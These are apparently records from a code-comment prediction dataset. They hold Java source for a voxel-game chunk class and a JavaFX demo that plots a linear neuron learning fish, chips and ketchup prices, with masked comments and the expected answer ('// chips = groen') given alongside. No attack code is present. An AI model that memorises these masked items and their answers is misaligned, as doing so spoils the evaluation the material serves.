if (cleanedUp)
return;
boolean neighborSunlightChanging = false;
for(int x = startPosition.x - 16; x <= startPosition.x + 16; x += 16) {
for(int z = startPosition.z - 16; z <= startPosition.z + 16; z += 16) {
IChunk c = getWorld().getChunk(x, z);
if(c != null && c.waitingOnLightFinish()) {
neighborSunlightChanging = true;
}
}
}
if(neighborSunlightChanging)
return;
if (!setup) {
meshBuilder = new MeshBuilder();
modelBuilder = new ModelBuilder();
setup = true;
}
sunlightChanged = false;
if(meshing) {
meshWhenDone = true;
} else {
meshing = true;
parentWorld.addToMeshQueue(this::updateFaces);
}
}
@Override
public void render(ModelBatch batch) {
if (cleanedUp) return;
if(!meshing && meshed) {
getWorld().addToChunkUploadQueue(this::updateModelInstances);
meshed = false;
}
if (sunlightChanged && !sunlightChanging || (!meshing && !meshed && meshWhenDone)) {
meshWhenDone = false;
rerender();
}
if(opaqueModelInstance != null) {
batch.render(opaqueModelInstance);
}
}
@Override
public void renderTranslucent(ModelBatch batch) {
if(translucentModelInstance != null) {
batch.render(translucentModelInstance);
}
}
@Override
public void eachBlock(EachBlockCallee callee) {
for (int y = 0; y < height; y++) {
for (int z = 0; z < size; z++) {
BlockStorage storage = blockStorage[y / 16];
for (int x = 0; x < size; x++) {
try {
Block blk = storage.getBlock(x, y & 0xF, z);
callee.call(blk, x, y, z);
} catch (CoordinatesOutOfBoundsException ex) {
ex.printStackTrace();
}
}
}
}
}
private void addNeighborsToLightQueues(int x, int y, int z) {// X Y and Z are relative coords, not world coords
assert x >= 0 && x < size && z >= 0 && z < size && y >= 0 && y < height;
int cx = x;
int cz = z;
x += startPosition.x;
z += startPosition.z;
Side[] sides = Side.values();
for(Side s : sides) {
int sx = x; // Side x coord
int sy = y; // Side y coord
int sz = z; // Side z<SUF>
int scx = cx; // Chunk-relative side x coord
int scz = cz; // Chunk-relative side z coord
IChunk sChunk = this;
// Offset values based on side
switch(s) {
case TOP:
sy += 1;
break;
case BOTTOM:
sy -= 1;
break;
case WEST:
sx -= 1;
scx -= 1;
break;
case EAST:
sx += 1;
scx += 1;
break;
case NORTH:
sz += 1;
scz += 1;
break;
case SOUTH:
sz -= 1;
scz -= 1;
break;
}
if(sy < 0)
continue;
if(sy > height-1)
continue;
// Select the correct chunk
if(scz < 0) {
scz += size;
sChunk = parentWorld.getChunk(sx, sz);
} else if(scz > size-1) {
scz -= size;
sChunk = parentWorld.getChunk(sx, sz);
}
if(scx < 0) {
scx += size;
sChunk = parentWorld.getChunk(sx, sz);
} else if(scx > size-1) {
scx -= size;
sChunk = parentWorld.getChunk(sx, sz);
}
if(sChunk == null)
continue;
try {
int sSunlight = sChunk.getSunlight(scx, sy, scz);
int sBlocklight = sChunk.getBlocklight(scx, sy, scz);
if (sSunlight > 0 || sBlocklight > 0) {
Block sBlock = sChunk.getBlock(scx, sy, scz);
if (sBlock == null || sBlock.doesLightPassThrough() || !sBlock.decreasesLight()) {
if (sSunlight > 0)
parentWorld.addToSunlightQueue(sx, sy, sz);
if (sBlocklight > 0)
parentWorld.addToBlocklightQueue(sx, sy, sz);
}
}
} catch (CoordinatesOutOfBoundsException ex) {
ex.printStackTrace();
}
}
}
@Override
//TODO remove entirely in favor of setBlock(0 ?
public void removeBlock(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF; // storage relative y
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return;
storage.setBlock(x, sy, z, null);
storage.setId(x, sy, z, 0);
storage.setMeta(x, sy, z, 0);
storage.setSunlight(x, sy, z, 0);
storage.setBlocklight(x, sy, z, 0);
// TODO XXX LIGHTING add to block light removal queue
if(x == size - 1) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x + size, getStartPosition().z));
} else if(x == 0) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x - size, getStartPosition().z));
}
if(z == size - 1) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x, getStartPosition().z + size));
} else if(z == 0) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x, getStartPosition().z - size));
}
getWorld().rerenderChunk(this);
this.addNeighborsToLightQueues(x, y, z);
}
@Override
public void setBlock(int block, int x, int y, int z) throws CoordinatesOutOfBoundsException {
setBlock(block, x, y, z, true);
}
@Override
public void setBlock(int block, int x, int y, int z, boolean updateSunlight) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
if(block == 0) {
removeBlock(x, y, z);
return;
}
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
int oldBlock = storage.getId(x, sy, z);
Block blk = RadixAPI.instance.getBlock(block);
int newBlocklightVal = blk.getLightValue();
storage.setBlocklight(x, sy, z, newBlocklightVal);
if(oldBlock > 0) {
Block oldBlk = RadixAPI.instance.getBlock(oldBlock);
int oldBlocklightVal = oldBlk.getLightValue();
if(newBlocklightVal > oldBlocklightVal) {
parentWorld.addToBlocklightQueue(startPosition.x + x, startPosition.y + y, startPosition.z + z);
} else if(oldBlocklightVal > newBlocklightVal) {
// TODO XXX LIGTHTING add to blocklight removal queue
}
} else {
if(newBlocklightVal > 0) {
parentWorld.addToBlocklightQueue(startPosition.x + x, startPosition.y + y, startPosition.z + z);
}
}
storage.setId(x, sy, z, block);
storage.setBlock(x, sy, z, blk);
highestPoint = Math.max(highestPoint, y);
if(updateSunlight)
getWorld().addToSunlightRemovalQueue(x + startPosition.x, y + startPosition.y, z + startPosition.z);
}
@Override
public void setMeta(short meta, int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
storage.setMeta(x, sy, z, meta);
}
@Override
public short getMeta(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
return storage.getMeta(x, sy, z);
}
@Override
public float getLightLevel(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
int sunlight = storage.getSunlight(x, sy, z);
int blocklight = storage.getBlocklight(x, sy, z);
return lightLevelMap[MathUtils.clamp(sunlight+blocklight, 0, MAX_LIGHT_LEVEL)];
}
@Override
public Vec3i getStartPosition() {
return this.startPosition;
}
@Override
public int getHighestPoint() {
return highestPoint;
}
private void updateModelInstances() {
if(opaqueFaces != null) {
if(opaqueModel != null)
opaqueModel.dispose();
Mesh opaqueMesh = mesher.meshFaces(opaqueFaces, meshBuilder);
modelBuilder.begin();
modelBuilder.part(String.format("c-%d,%d", startPosition.x, startPosition.z), opaqueMesh, GL20.GL_TRIANGLES,
new Material(TextureAttribute.createDiffuse(NormalBlockRenderer.getBlockMap())));
opaqueModel = modelBuilder.end();
opaqueModelInstance = new ModelInstance(opaqueModel) {
@Override
public Renderable getRenderable(final Renderable out, final Node node,
final NodePart nodePart) {
super.getRenderable(out, node, nodePart);
if(RadixClient.getInstance().isWireframe()) {
out.primitiveType = GL20.GL_LINES;
} else {
out.primitiveType = GL20.GL_TRIANGLES;
}
return out;
}
};
opaqueFaces = null;
}
if(translucentFaces != null) {
if(translucentModel != null)
translucentModel.dispose();
Mesh translucentMesh = mesher.meshFaces(translucentFaces, meshBuilder);
modelBuilder.begin();
modelBuilder.part(String.format("c-%d,%d-t", startPosition.x, startPosition.z), translucentMesh, GL20.GL_TRIANGLES,
new Material(TextureAttribute.createDiffuse(NormalBlockRenderer.getBlockMap()),
new BlendingAttribute(),
FloatAttribute.createAlphaTest(0.25f)));
translucentModel = modelBuilder.end();
translucentModelInstance = new ModelInstance(translucentModel) {
@Override
public Renderable getRenderable(final Renderable out, final Node node,
final NodePart nodePart) {
super.getRenderable(out, node, nodePart);
if(RadixClient.getInstance().isWireframe()) {
out.primitiveType = GL20.GL_LINES;
} else {
out.primitiveType = GL20.GL_TRIANGLES;
}
return out;
}
};
translucentFaces = null;
}
}
private void updateFaces() {
opaqueFaces = mesher.getFaces(block -> !block.isTranslucent());
translucentFaces = mesher.getFaces(Block::isTranslucent);
meshing = false;
meshed = true;
RadixAPI.instance.getEventManager().push(new EventChunkRender(Chunk.this));
}
@Override
public void dispose() {
if(opaqueModel != null)
opaqueModel.dispose();
if(translucentModel != null)
translucentModel.dispose();
cleanedUp = true;
}
@Override
public void setSunlight(int x, int y, int z, int level) throws CoordinatesOutOfBoundsException {
assert level >= 0 && level <= MAX_LIGHT_LEVEL;
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null) {
if(level < MAX_LIGHT_LEVEL) {
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
} else {
return;
}
}
storage.setSunlight(x, sy, z, level);
sunlightChanging = true;
sunlightChanged = true;
}
@Override
public int getSunlight(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return MAX_LIGHT_LEVEL;
return storage.getSunlight(x, sy, z);
}
@Override
public void setBlocklight(int x, int y, int z, int level) throws CoordinatesOutOfBoundsException {
assert level >= 0 && level <= MAX_LIGHT_LEVEL;
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null) {
if(level < MAX_LIGHT_LEVEL) {
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
} else {
return;
}
}
storage.setBlocklight(x, sy, z, level);
}
@Override
public int getBlocklight(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return MAX_LIGHT_LEVEL;
return storage.getBlocklight(x, sy, z);
}
@Override
public int getBlockId(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
return storage.getId(x, sy, z);
}
@Override
public Block getBlock(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return null;
return storage.getBlock(x, sy, z);
}
@Override
public void finishChangingSunlight() {
sunlightChanging = false;
}
@Override
public boolean waitingOnLightFinish() {
return sunlightChanging;
}
@Override
public boolean hasInitialSun() {
return lighted;
}
@Override
public void finishAddingSun() {
this.lighted = true;
}
@Override
public Biome getBiome() {
return this.biome;
}
@Override
public IWorld getWorld() {
return this.parentWorld;
}
@Override
public int getMaxLightLevel() {
return MAX_LIGHT_LEVEL;
}
@Override
public float getBrightness(int lightLevel) {
if(lightLevel > getMaxLightLevel())
return 1;
if(lightLevel < 0)
return 0;
return lightLevelMap[lightLevel];
}
@Override
public int hashCode() {
int hash = 7;
hash = 71 * hash + this.startPosition.x;
hash = 71 * hash + this.startPosition.z;
return hash;
}
public void setHighestPoint(int y) {
this.highestPoint = y;
}
/**
* Get the underlying block storage.
*
* Don't use this to set data unless you know what you're doing (ex. loading a chunk initially)
*/
public FlatBlockStorage[] getBlockStorage() {
return blockStorage;
}
}
|
178237_8 | package controllers;
import javafx.animation.Animation;
import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.fxml.FXML;
import javafx.scene.Node;
import javafx.scene.chart.LineChart;
import javafx.scene.chart.NumberAxis;
import javafx.scene.chart.XYChart;
import javafx.scene.control.Button;
import javafx.scene.control.ListView;
import javafx.scene.control.ProgressBar;
import javafx.scene.control.TextField;
import javafx.scene.layout.*;
import javafx.scene.paint.Color;
import javafx.util.Duration;
import java.net.URL;
import java.util.ArrayList;
import java.util.ResourceBundle;
import static java.lang.System.*;
import java.util.Random;
public class FckController {
@FXML // ResourceBundle that was given to the FXMLLoader
private ResourceBundle resources;
@FXML // URL location of the FXML file that was given to the FXMLLoader
private URL location;
@FXML
private Button btnReseed;
@FXML
private Button btnPlay;
@FXML
private Pane lineChartPane;
@FXML
private ProgressBar fckProgressBar;
@FXML
private TextField tfStepSpeed;
@FXML
private TextField tfStepSize;
@FXML // This method is called by the FXMLLoader when initialization is complete
void initialize() {
this.init = true;
this.currentIndex = 0;
this.result = new LinearNeuron().GetResult();
this.stepSpeed = 20;
this.stepSize = 1;
this.tfStepSize.setText(Integer.toString(this.stepSize));
this.tfStepSpeed.setText(Integer.toString(this.stepSpeed));
this.animating = false;
this.lineChartPane.setBorder(new Border(new BorderStroke(Color.BLACK,
BorderStrokeStyle.SOLID, CornerRadii.EMPTY, BorderWidths.DEFAULT)));
initLineChart();
this.atl = new Timeline(new KeyFrame(Duration.millis(stepSpeed), event -> {
doAnimationStep();
}));
this.atl.setCycleCount(Animation.INDEFINITE);
this.btnPlay.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
animate();
}
});
this.btnReseed.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
result = new LinearNeuron().GetResult();
currentIndex = 0;
initLineChart();
doAnimationStep();
}
});
tfStepSize.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable, String oldValue, String newValue) {
if (newValue.isEmpty()){
return;
}
if (!newValue.matches("\\d*")) {
tfStepSize.setText(newValue.replaceAll("[^\\d]", ""));
} else {
stepSize = Integer.parseInt(newValue);
}
}
});
tfStepSpeed.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable, String oldValue, String newValue) {
if (newValue.isEmpty()){
return;
}
if (!newValue.matches("\\d*")) {
tfStepSpeed.setText(newValue.replaceAll("[^\\d]", ""));
} else {
stepSpeed = Integer.parseInt(newValue);
atl = new Timeline(new KeyFrame(Duration.millis(stepSpeed), event -> {
doAnimationStep();
}));
atl.setCycleCount(Animation.INDEFINITE);
}
}
});
doAnimationStep();
}
// Initiate the linechart
private void initLineChart() {
this.lineChartPane.getChildren().remove(this.lineChart);
xAxis = new NumberAxis(0,this.result.iterations.size()- 1,10);
xAxis.setForceZeroInRange(false);
xAxis.setAutoRanging(false);
xAxis.setTickLabelsVisible(true);
xAxis.setTickMarkVisible(true);
xAxis.setMinorTickVisible(false);
this.yAxis = new NumberAxis(0,200,10);
this.yAxis.setForceZeroInRange(false);
this.yAxis.setAutoRanging(false);
this.yAxis.setTickLabelsVisible(true);
this.yAxis.setTickMarkVisible(true);
this.yAxis.setMinorTickVisible(false);
// Create a LineChart
this.lineChart = new LineChart<Number, Number>(xAxis, yAxis) {
// Override to remove symbols on each data point
@Override
protected void dataItemAdded(Series<Number, Number> series, int itemIndex, Data<Number, Number> item) {
}
};
this.lineChart.setLegendVisible(false);
this.fckProgressBar.setMinWidth(this.lineChart.getWidth());
this.lineChart.setAnimated(false);
this.lineChartPane.getChildren().add(this.lineChart);
this.lineChart.setMinSize(600,600);
this.lineChartPane.setMinSize(500,620);
}
// Start animating
private void animate() {
if (!animating) {
btnPlay.setText("Pause");
this.atl.play();
} else {
btnPlay.setText("Run");
this.atl.stop();
}
this.animating = !animating;
setAllDisabled(this.animating);
}
// Single animation step
private void doAnimationStep() {
if (currentIndex >= result.iterations.size()) {
currentIndex = result.iterations.size() - 1;
}
XYChart.Series seriesFish = new XYChart.Series();
// fish = blauw
seriesFish.setName("Fish price");
//seriesFish.getChart().
XYChart.Series seriesChips = new XYChart.Series();
// chips = groen
seriesChips.setName("Chips price");
XYChart.Series seriesKetchup = new XYChart.Series();
// ketchup = rood
seriesKetchup.setName("Ketchup price");
for (int i = 0; i < currentIndex; i++) {
seriesFish.getData().add(new XYChart.Data(i, this.result.iterations.get(i).fishPrice));
seriesChips.getData().add(new XYChart.Data(i, this.result.iterations.get(i).chipPrice));
seriesKetchup.getData().add(new XYChart.Data(i, this.result.iterations.get(i).ketchupPrice));
}
lineChart.getData().clear();
lineChart.getData().add(seriesFish);
lineChart.getData().add(seriesChips);
lineChart.getData().add(seriesKetchup);
if (init) {
this.init = false;
} else {
ObservableList<XYChart.Series> data = lineChart.getData();
changeLineChartSeriesColour(data.get(data.size() - 3).getNode().lookup(".chart-series-line"),Color.BLUE);
changeLineChartSeriesColour(data.get(data.size() - 2).getNode().lookup(".chart-series-line"),Color.GREEN);
changeLineChartSeriesColour(data.get(data.size() - 1).getNode().lookup(".chart-series-line"),Color.RED);
}
lineChart.setCreateSymbols(false);
double progress = ((double)this.currentIndex)/((double)this.result.iterations.size());
if (this.currentIndex == this.result.iterations.size() - 1) {
fckProgressBar.setProgress(1.0);
} else {
fckProgressBar.setProgress(progress);
}
if (currentIndex == result.iterations.size() - 1) {
animate();
currentIndex = 0;
} else {
currentIndex += this.stepSize;
}
}
private void changeLineChartSeriesColour(Node line, Color color) {
String rgb = String.format("%d, %d, %d",
(int) (color.getRed() * 255),
(int) (color.getGreen() * 255),
(int) (color.getBlue() * 255));
System.out.println(rgb);
line.setStyle("-fx-stroke: rgba(" + rgb + ", 1.0);");
}
private void setAllDisabled(boolean disabled) {
this.tfStepSpeed.setDisable(disabled);
this.tfStepSize.setDisable(disabled);
this.btnReseed.setDisable(disabled);
}
// whether we are animating or not
boolean animating;
// Result of the run
private FishChipKetchupResult result;
// Animating timeline
Timeline atl;
// Step speed
int stepSpeed;
// Step size
int stepSize;
// How far we've animated so far
int currentIndex;
private LineChart lineChart;
private NumberAxis xAxis;
private NumberAxis yAxis;
boolean init;
}
/**
*
* @author evink
*/
class LinearNeuron {
// actual price of fish, chips, and ketchup
public static final int ACT_PRICE_FISH = 150;
public static final int ACT_PRICE_CHIPS = 50;
public static final int ACT_PRICE_KETCHUP = 100;
public FishChipKetchupResult GetResult() {
double eps;
double her_price, my_price, price_fish, price_chips, price_ketchup;
int cnt_fish, cnt_chips, cnt_ketchup;
// initial values
price_fish = 50;
price_chips = 50;
price_ketchup = 50;
// the maximum value encountered
double maxValue = Double.MIN_VALUE;
// the min value encoutered
double minValue = Double.MAX_VALUE;
// all ierations
ArrayList<FishChipKetchupPrice> iterations = new ArrayList<>();
// nextInt is normally exclusive of the top value,
// so add 1 to make it inclusive
Random rn = new Random();
int i=0; int j=10;
while ( (i < 1000) && (j > 0) ) {
// generate_random_order
cnt_fish = rn.nextInt(5) + 1;
cnt_chips = rn.nextInt(5) + 1;
cnt_ketchup = rn.nextInt(5) + 1;
her_price = cnt_fish*ACT_PRICE_FISH + cnt_chips*ACT_PRICE_CHIPS + cnt_ketchup*ACT_PRICE_KETCHUP;
my_price = cnt_fish*price_fish + cnt_chips*price_chips + cnt_ketchup*price_ketchup;
i = i+1;
if ( java.lang.Math.abs(my_price - her_price) < 0.125 ) j--;
eps = 0.025;
price_fish = price_fish + eps*cnt_fish*(her_price-my_price);
price_chips = price_chips + eps*cnt_chips*(her_price-my_price);
price_ketchup = price_ketchup + eps*cnt_ketchup*(her_price-my_price);
maxValue = Math.max(Math.max(Math.max(price_chips, price_chips),price_ketchup),maxValue);
minValue = Math.min(Math.min(Math.min(price_chips, price_chips),price_ketchup),minValue);
iterations.add(new FishChipKetchupPrice(price_fish,price_chips,price_ketchup));
System.out.format("%d x ",cnt_fish);
System.out.format("%3.0f, ",price_fish);
System.out.format("%d x %3.0f, ",cnt_chips,price_chips);
System.out.format("%d x %3.0f, ",cnt_ketchup,price_ketchup);
System.out.format("guessed %3.0f, ",my_price);
System.out.format("real %3.0f",her_price);
System.out.println();
}
return new FishChipKetchupResult(minValue, maxValue, iterations);
}
}
class FishChipKetchupResult {
public double minValue;
public double maxValue;
public ArrayList<FishChipKetchupPrice> iterations;
public FishChipKetchupResult(double minValue, double maxValue, ArrayList<FishChipKetchupPrice> iterations) {
this.minValue = minValue;
this.maxValue = maxValue;
this.iterations = iterations;
}
}
class FishChipKetchupPrice {
public double fishPrice;
public double chipPrice;
public double ketchupPrice;
public FishChipKetchupPrice(double fishPrice, double chipPrice, double ketchupPrice) {
this.fishPrice = fishPrice;
this.chipPrice = chipPrice;
this.ketchupPrice = ketchupPrice;
}
} | mstruijs/neural-demos | gui/src/controllers/FckController.java | 3,695 | // chips = groen | line_comment | nl | package controllers;
import javafx.animation.Animation;
import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.fxml.FXML;
import javafx.scene.Node;
import javafx.scene.chart.LineChart;
import javafx.scene.chart.NumberAxis;
import javafx.scene.chart.XYChart;
import javafx.scene.control.Button;
import javafx.scene.control.ListView;
import javafx.scene.control.ProgressBar;
import javafx.scene.control.TextField;
import javafx.scene.layout.*;
import javafx.scene.paint.Color;
import javafx.util.Duration;
import java.net.URL;
import java.util.ArrayList;
import java.util.ResourceBundle;
import static java.lang.System.*;
import java.util.Random;
public class FckController {
@FXML // ResourceBundle that was given to the FXMLLoader
private ResourceBundle resources;
@FXML // URL location of the FXML file that was given to the FXMLLoader
private URL location;
@FXML
private Button btnReseed;
@FXML
private Button btnPlay;
@FXML
private Pane lineChartPane;
@FXML
private ProgressBar fckProgressBar;
@FXML
private TextField tfStepSpeed;
@FXML
private TextField tfStepSize;
@FXML // This method is called by the FXMLLoader when initialization is complete
void initialize() {
this.init = true;
this.currentIndex = 0;
this.result = new LinearNeuron().GetResult();
this.stepSpeed = 20;
this.stepSize = 1;
this.tfStepSize.setText(Integer.toString(this.stepSize));
this.tfStepSpeed.setText(Integer.toString(this.stepSpeed));
this.animating = false;
this.lineChartPane.setBorder(new Border(new BorderStroke(Color.BLACK,
BorderStrokeStyle.SOLID, CornerRadii.EMPTY, BorderWidths.DEFAULT)));
initLineChart();
this.atl = new Timeline(new KeyFrame(Duration.millis(stepSpeed), event -> {
doAnimationStep();
}));
this.atl.setCycleCount(Animation.INDEFINITE);
this.btnPlay.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
animate();
}
});
this.btnReseed.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
result = new LinearNeuron().GetResult();
currentIndex = 0;
initLineChart();
doAnimationStep();
}
});
tfStepSize.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable, String oldValue, String newValue) {
if (newValue.isEmpty()){
return;
}
if (!newValue.matches("\\d*")) {
tfStepSize.setText(newValue.replaceAll("[^\\d]", ""));
} else {
stepSize = Integer.parseInt(newValue);
}
}
});
tfStepSpeed.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable, String oldValue, String newValue) {
if (newValue.isEmpty()){
return;
}
if (!newValue.matches("\\d*")) {
tfStepSpeed.setText(newValue.replaceAll("[^\\d]", ""));
} else {
stepSpeed = Integer.parseInt(newValue);
atl = new Timeline(new KeyFrame(Duration.millis(stepSpeed), event -> {
doAnimationStep();
}));
atl.setCycleCount(Animation.INDEFINITE);
}
}
});
doAnimationStep();
}
// Initiate the linechart
private void initLineChart() {
this.lineChartPane.getChildren().remove(this.lineChart);
xAxis = new NumberAxis(0,this.result.iterations.size()- 1,10);
xAxis.setForceZeroInRange(false);
xAxis.setAutoRanging(false);
xAxis.setTickLabelsVisible(true);
xAxis.setTickMarkVisible(true);
xAxis.setMinorTickVisible(false);
this.yAxis = new NumberAxis(0,200,10);
this.yAxis.setForceZeroInRange(false);
this.yAxis.setAutoRanging(false);
this.yAxis.setTickLabelsVisible(true);
this.yAxis.setTickMarkVisible(true);
this.yAxis.setMinorTickVisible(false);
// Create a LineChart
this.lineChart = new LineChart<Number, Number>(xAxis, yAxis) {
// Override to remove symbols on each data point
@Override
protected void dataItemAdded(Series<Number, Number> series, int itemIndex, Data<Number, Number> item) {
}
};
this.lineChart.setLegendVisible(false);
this.fckProgressBar.setMinWidth(this.lineChart.getWidth());
this.lineChart.setAnimated(false);
this.lineChartPane.getChildren().add(this.lineChart);
this.lineChart.setMinSize(600,600);
this.lineChartPane.setMinSize(500,620);
}
// Start animating
private void animate() {
if (!animating) {
btnPlay.setText("Pause");
this.atl.play();
} else {
btnPlay.setText("Run");
this.atl.stop();
}
this.animating = !animating;
setAllDisabled(this.animating);
}
// Single animation step
private void doAnimationStep() {
if (currentIndex >= result.iterations.size()) {
currentIndex = result.iterations.size() - 1;
}
XYChart.Series seriesFish = new XYChart.Series();
// fish = blauw
seriesFish.setName("Fish price");
//seriesFish.getChart().
XYChart.Series seriesChips = new XYChart.Series();
// chips =<SUF>
seriesChips.setName("Chips price");
XYChart.Series seriesKetchup = new XYChart.Series();
// ketchup = rood
seriesKetchup.setName("Ketchup price");
for (int i = 0; i < currentIndex; i++) {
seriesFish.getData().add(new XYChart.Data(i, this.result.iterations.get(i).fishPrice));
seriesChips.getData().add(new XYChart.Data(i, this.result.iterations.get(i).chipPrice));
seriesKetchup.getData().add(new XYChart.Data(i, this.result.iterations.get(i).ketchupPrice));
}
lineChart.getData().clear();
lineChart.getData().add(seriesFish);
lineChart.getData().add(seriesChips);
lineChart.getData().add(seriesKetchup);
if (init) {
this.init = false;
} else {
ObservableList<XYChart.Series> data = lineChart.getData();
changeLineChartSeriesColour(data.get(data.size() - 3).getNode().lookup(".chart-series-line"),Color.BLUE);
changeLineChartSeriesColour(data.get(data.size() - 2).getNode().lookup(".chart-series-line"),Color.GREEN);
changeLineChartSeriesColour(data.get(data.size() - 1).getNode().lookup(".chart-series-line"),Color.RED);
}
lineChart.setCreateSymbols(false);
double progress = ((double)this.currentIndex)/((double)this.result.iterations.size());
if (this.currentIndex == this.result.iterations.size() - 1) {
fckProgressBar.setProgress(1.0);
} else {
fckProgressBar.setProgress(progress);
}
if (currentIndex == result.iterations.size() - 1) {
animate();
currentIndex = 0;
} else {
currentIndex += this.stepSize;
}
}
private void changeLineChartSeriesColour(Node line, Color color) {
String rgb = String.format("%d, %d, %d",
(int) (color.getRed() * 255),
(int) (color.getGreen() * 255),
(int) (color.getBlue() * 255));
System.out.println(rgb);
line.setStyle("-fx-stroke: rgba(" + rgb + ", 1.0);");
}
private void setAllDisabled(boolean disabled) {
this.tfStepSpeed.setDisable(disabled);
this.tfStepSize.setDisable(disabled);
this.btnReseed.setDisable(disabled);
}
// whether we are animating or not
boolean animating;
// Result of the run
private FishChipKetchupResult result;
// Animating timeline
Timeline atl;
// Step speed
int stepSpeed;
// Step size
int stepSize;
// How far we've animated so far
int currentIndex;
private LineChart lineChart;
private NumberAxis xAxis;
private NumberAxis yAxis;
boolean init;
}
/**
*
* @author evink
*/
class LinearNeuron {
// actual price of fish, chips, and ketchup
public static final int ACT_PRICE_FISH = 150;
public static final int ACT_PRICE_CHIPS = 50;
public static final int ACT_PRICE_KETCHUP = 100;
public FishChipKetchupResult GetResult() {
double eps;
double her_price, my_price, price_fish, price_chips, price_ketchup;
int cnt_fish, cnt_chips, cnt_ketchup;
// initial values
price_fish = 50;
price_chips = 50;
price_ketchup = 50;
// the maximum value encountered
double maxValue = Double.MIN_VALUE;
// the min value encoutered
double minValue = Double.MAX_VALUE;
// all ierations
ArrayList<FishChipKetchupPrice> iterations = new ArrayList<>();
// nextInt is normally exclusive of the top value,
// so add 1 to make it inclusive
Random rn = new Random();
int i=0; int j=10;
while ( (i < 1000) && (j > 0) ) {
// generate_random_order
cnt_fish = rn.nextInt(5) + 1;
cnt_chips = rn.nextInt(5) + 1;
cnt_ketchup = rn.nextInt(5) + 1;
her_price = cnt_fish*ACT_PRICE_FISH + cnt_chips*ACT_PRICE_CHIPS + cnt_ketchup*ACT_PRICE_KETCHUP;
my_price = cnt_fish*price_fish + cnt_chips*price_chips + cnt_ketchup*price_ketchup;
i = i+1;
if ( java.lang.Math.abs(my_price - her_price) < 0.125 ) j--;
eps = 0.025;
price_fish = price_fish + eps*cnt_fish*(her_price-my_price);
price_chips = price_chips + eps*cnt_chips*(her_price-my_price);
price_ketchup = price_ketchup + eps*cnt_ketchup*(her_price-my_price);
maxValue = Math.max(Math.max(Math.max(price_chips, price_chips),price_ketchup),maxValue);
